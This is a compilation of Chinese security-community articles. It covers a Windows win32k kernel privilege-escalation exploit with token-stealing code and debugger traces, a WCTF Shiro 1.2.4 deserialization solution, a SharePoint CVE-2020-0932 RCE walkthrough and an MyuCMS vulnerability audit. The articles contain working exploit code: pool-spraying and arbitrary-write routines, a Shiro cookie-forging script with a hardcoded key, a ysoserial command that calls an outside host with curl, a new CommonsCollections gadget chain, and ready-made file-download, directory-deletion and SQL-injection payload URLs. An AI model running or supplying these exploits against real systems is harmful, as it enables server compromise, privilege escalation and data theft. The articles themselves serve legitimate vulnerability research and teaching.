LODWORD(v4) = HmgShareLockCheck(v2, a2);//这里会check句柄
*v3 = v4;
return v3;
}
//第二处是
v7 = XEPALOBJ::ulSetEntries((XEPALOBJ *)&v13, v6, v5, v4);//检查+0x48 +0x50两个值
//第三处是+0x28位置会有一个跳转
kd> p
win32kfull!GreSetPaletteEntries+0x72://check rbx+0x28 这个值是HDC，获取HDC的值，如果为0，则没有HDC，否则则有HDC，就可以绕过了，很简单，只需要申请一个hdc即可
ffff915c`473f35f2 488b7b28 mov rdi,qword ptr [rbx+28h]
kd> r rdi
rdi=ffff911680003000
kd> p
win32kfull!GreSetPaletteEntries+0x76:
ffff915c`473f35f6 4885ff test rdi,rdi
kd> r rdi
rdi=ffff9116801cad00
kd> p
win32kfull!GreSetPaletteEntries+0x79:
ffff915c`473f35f9 7477 je win32kfull!GreSetPaletteEntries+0xf2 (ffff915c`473f3672)
这样我对 szBuf 重新布局，当然，我们必须在 szBuf 中加入\x00，确保 StringCbLengthW 函数可以成功。
//对szBuf重新布局
CopyMemory((PUCHAR)pMappedAddress1 + 0x10, sfBuf, sizeof(sfBuf));
//make fake struct
CopyMemory((PUCHAR)pMappedAddress1 + 0x10, &hPLP,0x4);
CopyMemory((PUCHAR)pMappedAddress1 + 0x10 + 0x14, &lpFakeLenth, 0x4);
CopyMemory((PUCHAR)pMappedAddress1 + 0x10 + 0x28, &hDC, 0x4);
CopyMemory((PUCHAR)pMappedAddress1 + 0x10 + 0x48, &lpFakeSetEntries, sizeof(LPVOID));
CopyMemory((PUCHAR)pMappedAddress1 + 0x10 + 0x50, &lpFakeSetEntries, sizeof(LPVOID));
CopyMemory((PUCHAR)pMappedAddress1 + 0x10 + 0x78, &ManagerBitmap.pBitmap, sizeof(LPVOID));
CopyMemory((PUCHAR)pMappedAddress1 + 0x10 + 0x80, &pAcceleratorTableA, sizeof(LPVOID));
CopyMemory((PUCHAR)pMappedAddress1 + 0x10 + 0x88, &lpFakeValidate, sizeof(LPVOID));
OK，当然我们\x00的位置也不要太靠后了，正常覆盖到 palette 的 pEntries 的位置就可以了，这样我们可以令 StringCbLengthW
函数正常返回，并且正常填充 palette 内核对象。
//step 1
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d726:
ffff8aae`1923d4e6 e849b30300 call win32kbase!StringCbLengthW (ffff8aae`19278834)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d72b:
ffff8aae`1923d4eb 85c0 test eax,eax
//***********StringCbLengthW函数返回成功
kd> r eax
eax=0
//step 2
//*********Copy DataBuf
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d73e:
ffff8aae`1923d4fe e8b5b20300 call win32kbase!StringCbCopyW (ffff8aae`192787b8)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d743:
ffff8aae`1923d503 85c0 test eax,eax
kd> dd ffff8ace81fa9310
ffff8ace`81fa9310 3a080b88 0e5fc03a 8b6e2606 e583bcb7
ffff8ace`81fa9320 3f20a031 01010101 3042e350 2d0491ed
ffff8ace`81fa9330 156847e5 8b0a18ad 3f010b70 a307418e
ffff8ace`81fa9340 75242394 d51c4f60 33749cc6 4a68c5ef
ffff8ace`81fa9350 75242394 d51c4f60 81fa9340 ffff8ace
ffff8ace`81fa9360 81fa9340 ffff8ace 33749cc6 4a68c5ef
ffff8ace`81fa9370 75242394 d51c4f60 33749cc6 4a68c5ef
ffff8ace`81fa9380 75242394 d51c4f60
ffff8ace`81fa9388 82017000 ffff8ace//pEntries change to ManageBitmap!!
一旦我们成功控制了 pEntries，就可以通过 pEntries 来实现对 bitmap 的 pvScan0 的控制了，这样，我们就可以通过控制
ManagerBitmap 的 pvScan0，让它指向 WorkerBitmap 的 pvScan0 来实现内核空间的任意地址读写。也就是
GetBitmapBits/SetBitmapBits，关于 Bitmap 这个方法，依然可以参考 Nicolas Economous 的
slide。最后我们直接读取 System 的 Token，来替换当前进程的 Token 完成提权。
PROCESS ffffb0083dead040
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001aa000 ObjectTable: ffff9b0a006032c0 HandleCount: <Data Not Accessible>
Image: System
PROCESS ffffb0084103c800
SessionId: 1 Cid: 1794 Peb: 6d54989000 ParentCid: 13d0
DirBase: 22f52a000 ObjectTable: ffff9b0a06c88840 HandleCount: <Data Not Accessible>
Image: _dark_composition_.exe
//System Token替换了Current Process Token
kd> dd ffffb0083dead040+358 l2
ffffb008`3dead398 006158a8 ffff9b0a 00000000 00000000
kd> dd ffffb0084103c800+358 l2
ffffb008`4103cb58 006158a8 ffff9b0a 0000a93a 00000000
#### 0x04 击垮隐藏Boss--Process exit的陷阱
如图，我们完成了提权，但是在进程退出的时候报错了。这是困扰我最久的问题，我经过了各种各样的尝试，多次请教了邱神相关的问题，最后终于解决了这个大 Boss。
其实错误有很多，首先我们对palette的覆盖，导致了palette在释放的时候产生了问题，不过既然我们此时已经拥有了任意内核地址的读写能力，我们直接对palette的内核空间做fix，将databuf覆盖的部分修改过来（置NULL）就可以了。也就是clear
kernel object。
PVOID pPLPNULL = NULL;
for (int i = 1; i <= 14; i++)//除了palettek开头4字节句柄之外，其他szBuff部分置NULL
{
BitmapArbitraryWrite(ManagerBitmap.hBitmap, WorkerBitmap.hBitmap, (PUCHAR)pAcceleratorTableA + 0x8*i, pPLPNULL, sizeof(LPVOID));
}
DeleteObject(hPLP);
之后调用 DeletePalette 释放掉 palette 的句柄，但是随后会产生一个 double free 的漏洞，这是由于我们最后用来控制
palette 内核对象的 databuf 的 hResource 和 palette 用的是同一个内核空间，这样如果我们先用 DeletePalette
释放内核空间后，该空间释放后处于一个 free 状态。
//***********palette前4个字节存放palette句柄
kd> dd ffff8ace81fa9310 l1
ffff8ace`81fa9310 08080b80
kd> p
0033:00007ff7`d64f20e1 c3 ret
kd> p
0033:00007ff7`d64f2000 498bcc mov rcx,r12
//**********调用DeletePalette
kd> p
0033:00007ff7`d64f2003 ff150fc00000 call qword ptr [00007ff7`d64fe018]
//**********DeletePalette的对象是palette句柄，这次是真正释放palette了
kd> r rcx
rcx=0000000008080b80
kd> p
0033:00007ff7`d64f2009 4c8bb42488020000 mov r14,qword ptr [rsp+288h]
kd> !pool ffff8ace81fa9310
Pool page ffff8ace81fa9310 region is Paged session pool
//**********我们通过任意地址写修改kernel object之后顺利释放palette，内核对象处于free状态
*ffff8ace81fa9300 size: 100 previous size: 70 (Free ) *DCdn
Pooltag DCdn : DCOMPOSITIONTAG_DEBUGINFO, Binary : win32kbase!DirectComposition::C
ffff8ace81fa9400 size: 100 previous size: 100 (Free ) DCvi
这时候进程退出时，是会将句柄表清空，句柄表对应的内核对象的池也会 free 掉，之前我们 DeletePalette 时会将 hPalette 移除，同时
free 掉内核空间，但是 free hresource 的时候，由于之前已经释放掉了池，导致了 double free 的发生。
因此，我们需要对句柄表进行一个 fix，我们将 hresource 在句柄表中移除，移除后在进程退出时，就不会再去释放 hresource
对应的内核空间了。接下来，我们就要在句柄表里找到 resource 句柄的位置。要找到 hresource 的位置我们首先要找到 channel
的位置，我们需要从 EPROCESS
结构一层层找进去。当然，此时我们已经拥有了任意地址读写的能力，去读取内核空间的地址中存放的值也不成问题，只需要根据偏移找到对应的值就可以了。
//step 1
//******EPROCESS里有一个Win32Process结构，这实际上是一个tagProcessInfo
kd> dt _EPROCESS Win32Process
nt!_EPROCESS
+0x3a8 Win32Process : Void
//step 2
//**************tagPROCESSINFO里的tagTHREADINFO结构
typedef struct _tagPROCESSINFO // 55 elements, 0x300 bytes (sizeof)
{
……
/*0x100*/ struct _tagTHREADINFO* ptiList;
……
}tagPROCESSINFO, *PtagPROCESSINFO;
//step3
//**********接下来找到handle table的入口，接下来找到channel的句柄值
kd> dq ffff8ace81fb5fc0+28 l2
ffff8ace`81fb5fe8 00000000`00000015//句柄
ffff8ace`81fb5ff0 ffff8ace`81f2f8b0//Channel的内核对象
在 handle table 中的 channel 中，＋0x28先存放的是句柄，然后＋0x30存放的是 Channel 的内核对象值，接下来我们进入到
channel 中找到 resource table 的存放位置，然后根据句柄＊找到
hresource，将其清零即可。当然，我们拥有任意地址读写的能力，只需要找到之后，将其置为 NULL 就可以了。
//step 1
//************找到resource table的位置
kd> dq ffff8ace`81f2f8b0+40 l1
ffff8ace`81f2f8f0 ffff8ace`81fa32a0
//************找到handle的大小
kd> dq ffff8ace`81f2f8b0+60 l1
ffff8ace`81f2f910 00000000`00000008
//resource table加上句柄大小与句柄值成积，找到hresource的位置
kd> dd ffff8ace`81fa32a0
ffff8ace`81fa32a0 00000000 00000000 00000000 00000000
ffff8ace`81fa32b0 00000000 00000000 81f6b450 ffff8ace//hresource
//step 2
//**********将hResource置为NULL
kd> p
0033:00007ff6`5ed01678 ff1582d90000 call qword ptr [00007ff6`5ed0f000]
kd> p
0033:00007ff6`5ed0167e eb11 jmp 00007ff6`5ed01691
kd> dd ffff8ace`81fa32a0
ffff8ace`81fa32a0 00000000 00000000 00000000 00000000
ffff8ace`81fa32b0 00000000 00000000 00000000 00000000
最后，果然进程退出时不会再产生crash，我们最终完成了一个完整的利用。
Pool FengShui 是非常有意思的过程，和 Heap Fengshui
一样，如何对内核空间进行精巧的布局是内核安全的大佬们喜欢研究的东西，在我开始学内核漏洞的时候，感觉相关的文章不多，随着 Hacksys 的 HEVD
这个训练驱动，可以看到相关的 paper 越来越多了，非常感谢撰写文章的大佬们，令我受益良多。感谢邱神的指点，大米的交流讨论，感觉这几个月进步了很多。
其实内核里还有非常非常多有意思的东西等待被挖掘，Ring0 不同
Ring3，它拥有更复杂更广阔的内容，同样久有着无限的可能，期待自己更多的努力，更多的进步，也欢迎小伙伴们一起交流进步，感谢阅读！！
#### 0x05 引用
* <https://github.com/progmboy/cansecwest2017>
* <https://msdn.microsoft.com/en-us/library/windows/desktop/hh437371(v=vs.85).aspx>
* <https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf>
* <https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html>
* * * | 社区文章 |
在WCTF 2019中，每支队伍要求设计两道题目，我参与了其中一道题目的部分设计，主要为Java安全。
题目的利用思路可总结为：
1. shiro 1.2.4反序列化利用
2. Commons Collections新利用链的挖掘
赛后有两支队伍解出了该题目，分别是217和r3kapig，但是经过了解，比较遗憾的是，都是通过利用CommonsBeanutils的非预期解出的，这篇文章就主要说说预期解法。
第一部分的shiro
1.2.4的反序列化利用是一个老洞了，主要利用思路便是，在已知加密密钥的情况下，可以伪造RememberMe的Cookie，同时，该Cookie实质上是序列化过的数据，因此当我们已知密钥时，可以构造任意反序列化数据。
题目提供了jar文件，在pom.xml文件中，很清晰地可以看到commons-collections-3.2.1以及shiro1.2.4，而业务功能则是标准的shiro认证流程，因此shiro利用阶段十分简单：
> 利用jar文件中泄漏的硬编码密钥伪造反序列化数据
直接通过构造反序列化RCE在本题中是行不通的，其中细节在Orange的博客中有详细的描述，由于不是本文的重点，因此这里直接给出链接，就不再细说：
[Pwn a CTF Platform with Java JRMP Gadget](http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html)
通过ysoserial的JRMPListener，我们可以利用CommonsCollections来完成对shiro的攻击。通过下面这条命令我们能新建一个JRMPListener:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections7 "curl http://x2wugy.ceye.io/?aaaa"
生成序列化cookie的脚本为：
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "TWthODIwaVk4MmtpVTdkTg=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print(payload)
将key替换为题目中硬编码的key，再运行上面的脚本，便可以得到JRMPClient的序列化数据，替换掉题目中的cookie，便能触发反序列化。
当我们使用ysoserial构建payload会发现一个问题，那便是ysoserial中已有的CommonsCollections3.2.1相关payload都是不可用的，因此便需要我们重新挖掘一个不同于LazyMap和TransformedMap的CommonsCollections利用方式。
接下来则是如何寻找一个有效的gadget完成反序列化的利用。
commons-collections3.2.1公开的几个利用链是：
1. LazyMap
2. TransformedMap
而该题目的采取了一些非常暴力的方式将LazyMap和TransformedMap的链进行了摘除，此时就需要选手挖掘出一条新的commons-collections利用链。
如何挖掘新的链呢？我们可以参考LazyMap的exploit构造过程，结合网上已有的诸多资料，我们可以将LazyMap的调用流程归结为以下几步:
> 1. BadAttributeValueExpException.readObject
> 2. TiedMapEntry.toString
> 3. TiedMapEntry.getValue
> 4. LazyMap.get
> 5. ChainedTransformer.transform
> 6. InvokerTransformer.transform
>
因此我们目标就可以缩小至寻找一个Map，在这个Map中，调用了transformer.transform，并且transformer的值可控，那么我们便有可能找到这么一个Map。
实际情况是确实存在一个Map满足以上条件：DefaultedMap
DefaultedMap与LazyMap类似，都是在get方法中调用transform，并且调用transform方法的对象都是可控的transformer，所以此时对我们而言，DefaultedMap的利用链和LazyMap的利用链几乎一致。其调用流程可归纳为：
> 1. BadAttributeValueExpException.readObject
> 2. TiedMapEntry.toString
> 3. TiedMapEntry.getValue
> 4. DefaultedMap.get
> 5. ChainedTransformer.transform
> 6. InvokerTransformer.transform
>
由于其调用流程和LazyMap高度类似，因此我们可以直接在ysoserial中LazyMap相关payload的基础上进行小改。
在ysoserial中，我们新增一个名为CommonsCollections7的payload作为DefaultedMap的payload，实现方式参照LazyMap进行编写:
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return val;
}
随后重新编译一份jar，使用这个新的CommonsCollections的payload起一个JRMPListener便可以完成攻击了。 | 社区文章 |
来源：<https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters>
2020年4月，Microsoft发布了四个严重级、两个重要级补丁，用来修复Microsoft
SharePoint中存在的远程代码执行漏洞。以上均是反序列化漏洞，其中两个来自匿名研究人员的ZDI程序：CVE-2020-0931和CVE-2020-0932。本博客会详细介绍了最后一个CVE，该漏洞也称为ZDI-20-468。让我们先来看一段VCR来了解一下这个漏洞。
（这里有一段三分钟的小视频）
## 总览
此漏洞允许经过身份验证的用户在SharePoint服务器上执行任意代码。这些代码会在SharePoint程序帐户的上下文中执行。为了成功进行攻击，攻击者必须在SharePoint网站上或至少在网站的一个页面上具有“添加或自定义页面”权限。但是，SharePoint的默认配置允许任何经过身份验证的用户创建自己的网站，而这些网站都是包含所有攻击所需的权限。
## 漏洞简述
此漏洞产生的原因是，SharePoint在解析[WebParts](https://support.office.com/en-us/article/using-web-parts-on-sharepoint-pages-336e8e92-3e2d-4298-ae01-d404bbe751e0)的XML配置时不限制属性的可用类型。对于某个属性，攻击者可以指定一串字符串和一个类型名称，而SharePoint会尝试使用类型转换器把与指定类型相对应的字符串来转换该恶意字符串。然而，SharePoint库中存在的某些类型转换器是可被用于任意代码执行的，从而导致该漏洞产生。
此攻击的入口点是[WebPartPages](https://docs.microsoft.com/en-us/previous-versions/office/developer/sharepoint-services/ms774788\(v=office.12))的Web服务，位于以下位置：
'http://<Site>/_vti_bin/WebPartPages.asmx'
在此Web服务的实现中，有几种方法可以解析XML的WebParts配置，其中之一是RenderWebPartForEdit。请注意，[RenderWebPartForEdit](https://docs.microsoft.com/en-us/previous-versions/office/developer/sharepoint-services/ms774825\(v=office.12))作为一种WebMethod是公开的，因此可以通过HTTP请求来调用它：
下一个函数十分复杂，称为webPartImporter.CreateWebPart()，它可以解析两种不同版本的XML配置：WebPart/v2(.dwp)文件和WebPart/v3(.webpart)文件，本文重点是对第二个（.webpart文件）的解析。但是此函数中的大部分代码专用于类型解析和WebPart本身的验证，与本攻击无关，所以对应部分在此不进行详细说明。
XML格式的payload将传递给ImportWebPartBase()函数。
这意味着所有property元素将通过以下函数来处理ImportWebPartFile.AddToProperyArrayLists()：
至此，我们控制了两个关键的字符串：text和xmlAttributeValue2。text来自property元素的文本内容，而xmlAttributeValue2来自元素的type属性。上述代码在xmlAttributeValue2的基础上选择了一个.NET属性的Type，然后使用这个Type的TypeConverter函数将text文本的内容转换成.NET对象实例（propValue）。
现在，我们来看看哪些对象可用。
可以看出，没有对对象做任何限制，因此你想用啥对象都行。
## 为RCE选择TypeConverter
为了可以执行任意代码，我们将使用System.Resources.ResXFileRef类型及其类型转换器：System.Resources.ResXFileRef.Converter：
上述代码表明System.Resources.ResXFileRef.Converter将采用我们指定的字符串（value）并解析出两条数据。第一个为array[0]，将被解释为.resources资源文件的路径；第二个为array[1]，将被解释为任意.NET
Type对象的名称。上述代码将实例化指定的对象Type，并将单个参数传递给构造函数。该参数是一个流，包含了我们指定的.resources文件的内容。由于我们能够指定攻击者控制的SMB服务器的远程路径，因此我们可以完全控制这个流的内容。
## 选择使用流参数实例化的Type对象
最后一个难点是要确定一个可用的.NET对象，该对象的构造函数带有一个Stream对象的单个参数，这个.NET对象就可以用于执行任意代码。一种可能的解决方案是System.Resources.ResourceSet函数:
在这里，我们只对两行感兴趣：第一行和最后一行。第一行调用的构造函数System.Resources.ResourceReader：
这是非常有用的，因为它会获取Stream的内容，并将其提供给BinaryFormatter。这个操作很容易导致任意对象反序列化。
回顾System.Resources.ResourceSet构造函数的最后一行，沿着代码执行的路径向下追踪调用发现：
这表明服务器将反序列化一些不受信任的数据，这使我们能够执行任意代码。
## 生成.resources文件
要实现这个漏洞利用，我们需要一个包含有效payload的已编译的.resources资源文件。我们可以使用Visual
Studio创建这个文件。在编译时，Visual
Studio使用资源文件生成器（Resgen.exe）将.resx文件转换为二进制资源（.resources）文件。为了实现注入我们的dpayload，我们可以编辑.resx文件并将现有data节点替换为以下内容：
现在我们可以保存这个 _.resx文件并编译当前项目。Visual Studio会将已编译的_.resources文件放在/obj文件夹中。
## PoC
为了演示此漏洞利用，我们使用Windows Server 2019 Datacenter服务器，服务器上安装了Microsoft SharePoint
Server
2019,所有选项均为默认。计算机名称设置为sp2019.contoso.lab，并将其添加到contoso.lab域中。域控制器位于另外单独的虚拟机上。我们添加了几个用户，其中包括user2作为常规非特权用户。
对于攻击者系统，任何受支持的Web浏览器都可。在以下屏幕截图中，我们使用的是Mozilla Firefox
69.0.3。我们还将使用我们自己编写的SP_soap_RCE_PoC.exe应用程序发送攻击指令。您可以在[此处](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932)下载所有必需的文件来自己尝试。对于不同的BinaryFormatter有效负载，您将需要[YSoSerial.Net](https://github.com/pwntester/ysoserial.net)。对于此演示，我们PoC中的硬编码有效载荷就足够了。
下一步是设置由攻击者控制的远程SMB服务器，可以是能够从目标SharePoint服务器接收流量的任何计算机。在此服务器上，您将需要配置一个不需要身份验证的共享文件夹。这可能有些棘手，但是[此处](http://nikolar.com/2015/03/10/creating-network-share-with-anonymous-access/)详细介绍了执行此操作的步骤（这个博主真是贴心）。我们此次演示使用的是Windows
Server 2016
Standard服务器，IP地址为192.168.50.210。除了已列出的共享文件夹的步骤外，我们还在该共享文件夹的“安全性”选项卡中勾选了“所有人”，“访客”和“匿名登录”选项。
聪明的读者可能会问，为什么SharePoint服务器会同意访问一个匿名SMB共享。出于安全考虑，Windows
SMB客户端通常是不允许这种操作的。这是从Windows 10和Windows Server
2016的1709版开始引入的[解决措施](https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser)。答案是，由于某种原因，SharePoint安装程序会通过注册表项关闭这个操作。在注册表项HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters中，它的值AllowInsecureGuestAuth设置为1。
创建并配置文件夹后，我们可以将BinaryFormatter的payload放在此文件夹中并继续进行攻击。在本演示中，我们将其命名为SP_soap_RCE_PoC.RCE_Resource.resources。
让我们首先访问SharePoint Server并以普通用户身份进行身份验证。本次演示中该普通用户为user2：
现在，我们已验证身份登录：
接下来，我们创建自己的网站，以便我们成为所有者并拥有所有权限。请注意，如果攻击者无法创建自己的网站，他们仍然可以尝试所有现有的网站和页面，找到一个具有“添加或自定义”权限的页面。
单击顶部面板上的“SharePoint”：
现在，单击“+创建站点”链接：
对于此演示，我们选择“Team Site”，但这些都不重要。现在我们需要为新站点选择一个名称，我们使用的是siteofuser2。
另外，我们需要新站点的BaseURL。我们可以在下面显示的表单中，那个绿色的“Available”标签上方看到它。在此示例中，它是'<http://sp2019/sites/siteofuser2：>'
单击“ 完成 ”，将创建新站点：
现在，我们转到目标SharePoint服务器并打开该C:\windows\temp文件夹。
可以看到，temp文件夹中还没有Vuln_Server.txt文件。如果成功，我们的PoC将创建此文件。接下来，我们确认SP_soap_RCE_PoC.RCE_Resource.resources文件存在于攻击者控制的SMB服务器上：
现在，让我们回到“攻击者”机器。我们将使用我们的自定义SP_soap_RCE_PoC.exe可执行文件进行攻击。我们需要提供以下信息作为参数：
--目标SharePoint网站的BaseUrl。在此演示中，它是'http://sp2019/sites/siteofuser2/'
--用户名 –在我们的例子中是user2
--密码
--域
--有效负载文件的远程路径。
该命令最终看起来像这样：
'SP_soap_RCE_PoC.exe <http://Sp2019/sites/siteofuser2/> user2 P@ssw0rd contoso
//192.168.50.210/share/SP_soap_RCE_PoC.RCE_Resource.resources'
在此过程中，SharePoint会报告一个错误，但该攻击是成功的。我们可以检查Temp目标服务器上的文件夹：
本文显示了攻击者如何执行任意OS命令，这些命令会危及整个服务器。要执行其他命令，您可以生成自己的*.resource文件。然后在文本编辑器中打开该RCE_Resource.resx文件，并将base64格式的payload替换为所需的payload即可：
然后，保存该文件，在Visual
Studio中打开项目并重建它。包含新payload的文件SP_soap_RCE_PoC.RCE_Resource.resources保存在文件夹\SP_soap_RCE_PoC\SP_soap_RCE_PoC\obj\Release\中。
## 结论
微软表示，此漏洞是通过“更正SharePoint如何检查应用程序包的源标记”而修复的。有趣的是，所有六个SharePoint漏洞（包括“重要级”漏洞）都具有完全相同的write-up。供应商并没有说明为什么其中一些漏洞被评为“重要级”，而另一些则被评为“严重级”。因此，我们建议您将所有错误都视为“严重”。过去，SharePoint漏洞很受攻击者欢迎。2019年，[CVE-2019-0604](https://www.zerodayinitiative.com/blog/2019/12/18/looking-back-at-the-impact-of-cve-2019-0604-a-sharepoint-rce)漏洞被广泛使用，时间会证明此漏洞终将为罪犯所青睐。（来自博主的一些小吐槽） | 社区文章 |
# 前言
在CNVD看到一个MyuCMS的一个任意文件删除漏洞。然后去搜了下这个CMS，发现官网公告显示在V2.2.3版本修复了CNVD提供的多处漏洞。
怀着好奇的心里，去CNVD搜了下这个CMS，结果发现V2.1版本存在多处高危漏洞。既然这样，就来分析下这些漏洞产生的原因和利用方式。
# 过程分析
> MyuCMS_V2.1 基于 Thinkphp 5.0.24 开发。下载链接可以在官方社区找到。
## 前台任意文件下载
既然是文件下载，先在整个项目中搜索下 **download** 关键字，尝试看看能不能直接定位到关键代码。
通过搜索定位到 **bbs** 模块下的 **Index** 控制器的 **download** 方法。
**download** 方法接受三个参数，这三个参数我们是完全可控的，单从 **download** 这个方法来看，无任何参数内容限制，直接将
**$url** 和 **$name** 两个参数传递给了 **Http** 类的 **download** 方法来执行下载。
若 **Http- >download()** 方法中还未对参数内容进行限制，便会造成任意文件下载漏洞。
接下来，我们跟进 **Http- >download()** 方法。
static public function download ($filename, $showname='',$content='',$expire=180) {
if(is_file($filename)) { //判断 $filename 是否为文件
$length = filesize($filename); // 获取 $filename 的文件大小
}elseif($content != '') {
$length = strlen($content);
}else {
throw_exception($filename.L('下载文件不存在！')); // 若文件不存在抛出异常
}
if(empty($showname)) {
$showname = $filename; // $showname 为下载后文件的名称。若未设置则与被下载文件同名
}
$showname = basename($showname); //获取路径中的文件名部分
if(!empty($filename)) {
$type = mime_content_type($filename); //获取文件的MIME类型
}else{
$type = "application/octet-stream";
}
//发送Http Header信息 开始下载
header("Pragma: public");
header("Cache-control: max-age=".$expire);
//header('Cache-Control: no-store, no-cache, must-revalidate');
header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");
header("Content-Disposition: attachment; filename=".$showname);
header("Content-Length: ".$length);
header("Content-type: ".$type);
header('Content-Encoding: none');
header("Content-Transfer-Encoding: binary" );
if($content == '' ) {
readfile($filename); // 读取文件内容并输出，从而实现下载
}else {
echo($content);
}
exit();
}
由如上代码我们可以看出， **Http- >download()** 方法中同样 **未对传入的参数进行内容限制** ，只实现了下载的业务逻辑。
此处任意文件下载，结合 phar
反序列化，还可以造成任意文件删除和任意文件写入（仅linux下）。这两条反序列化利用链在先知和安全客上都已经有大佬分析的很好了，有兴趣的师傅直接看下面链接就行。
[MyuCMS<=v2.2.1反序列化](https://xz.aliyun.com/t/7018#toc-2 "MyuCMS<=v2.2.1反序列化")
[ThinkPHP v5.0.x 反序列化利用链挖掘](https://www.anquanke.com/post/id/196364 "ThinkPHP
v5.0.x 反序列化利用链挖掘")
### Payload
所以，由此可以得出任意文件下载的payload。
Payload: http://xxxxxxxxx/bbs/index/download?url=application/database.php&name=&local=1
Payload: http://xxxxxxxxx/bbs/index/download?url=c:/windows/win.ini&name=&local=1
## 任意目录删除漏洞
>
> 在CNVD上看到的是任意文件删除。但我发现的是一个任意目录删除，并不能只删除单独一个文件。可能此处所说的任意文件删除就是[MyuCMS<=v2.2.1反序列化](https://xz.aliyun.com/t/7018
> "MyuCMS<=v2.2.1反序列化")此处分析的利用反序列化链来进行任意文件删除吧。
因为漏洞描述是任意文件删除，所以先全文搜索 **unlink** 函数，定位到存在文件删除功能的代码段。
定位到 **application/common.php** 中的 **deleteun** 函数
function deleteun($dir_name)
{
$result = false;
if (is_dir($dir_name)) { // 判断是否为目录
if ($handle = opendir($dir_name)) { // 打开目录
while (false !== ($item = readdir($handle))) { // 通过这个 while 遍历目录中的文件
if ($item != '.' && $item != '..') {
if (is_dir($dir_name . DS . $item)) { // 若遍历到的文件为子目录，则递归调用deleteun
deleteun($dir_name . DS . $item);
} else {
unlink($dir_name . DS . $item); // 删除遍历到的文件
}
}
}
closedir($handle); // 关闭文件夹
if (rmdir($dir_name)) { // 删除该目录
$result = true;
}
}
}
return $result;
}
根据 **deleteun** 函数的实现代码来看，我们可以看到该函数中对传入的参数无任何限制。
然后在整个项目中搜索，看哪个文件中调用了 **deleteun** 函数。
发现总共三处两个文件调用了该函数，且这三处代码内容相同，只不过是传递给的 **deleteun**
函数的参数不同，我们可以判断出，这三处都可以触发任意目录删除漏洞。
这三处的不同之处在于。 **Muban.php** 继承了 **Common** 类，在 **Common**
类中实现了对于是否已经登录的验证。实现代码如下。
public function _initialize(){
if(!session('usermail') || !session('kouling')){
$this->error('请登录',url('login/index'));
print s();
}
}
而 **Addons.php** 继承自 **AdminBase** 类，且初始化时执行父类 **AdminBase** 的
**_initialize()** 方法，在 **AdminBase** 类中调用了父类 **Controller** 的
**_initialize()** 方法。而父类的 **Controller** 的 **_initialize();** 方法的实现内容为空。
所以 **Addons.php** 在未登录的情况下也可以访问。这意味我们不需要登录后台也可以触发任意目录删除漏洞。
### Payload
所以给出 Payload 如下，即可删除整个 **install** 目录
Payload: http://xxxxxxxxx/admin/Addons/un?info=../install
## SQL注入漏洞
在 CNVD 上的描述为， **MyuCMS us***_xi***.html页面存在SQL注入漏洞**
通过对整个项目文件的搜索，最终确定为 **user_xiaoxi.html** 文件。
该视图文件，对应的控制器为 **application/bbs/controller/User.php** 。显示消息为 **User->xiaoxi()** 方法。该方法中无用户可控参数。所以注入不可能在此方法中。
如图所示功能处可将未读消息更改为已读消息。同时我们抓包观察。未读消息为其他用户在登录用户发布的文章下留言所产生。
可以发现，该功能对应的路由地址，以及所提交的参数。我们找到路由地址对应的方法为 **User- >xiaoxidel()** 代码如下
public function xiaoxidel($ids)
{
if (!session('userid') || !session('username')) { // 进行登录判断
$this->error('亲！请登录',url('bbs/login/index'));
} else {
if ($ids==0) { // 根据 ids 参数来判断执行的动作为标记消息还是删除消息
$id = input('id'); // 通过input助手函数获取需要操作的消息对应的 id
$data['open'] = 1;
if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) { // 此处第一个 where() 使用字符串条件时没有配合预处理机制，所以会直接将 id=$id 拼接到SQL语句中。从而造成了SQL语句可控，形成注入。此处可以进行DEBUG，看到最好的SQL语句是如何拼接的。
return json(array('code' => 200, 'msg' => '标记已读成功'));
} else {
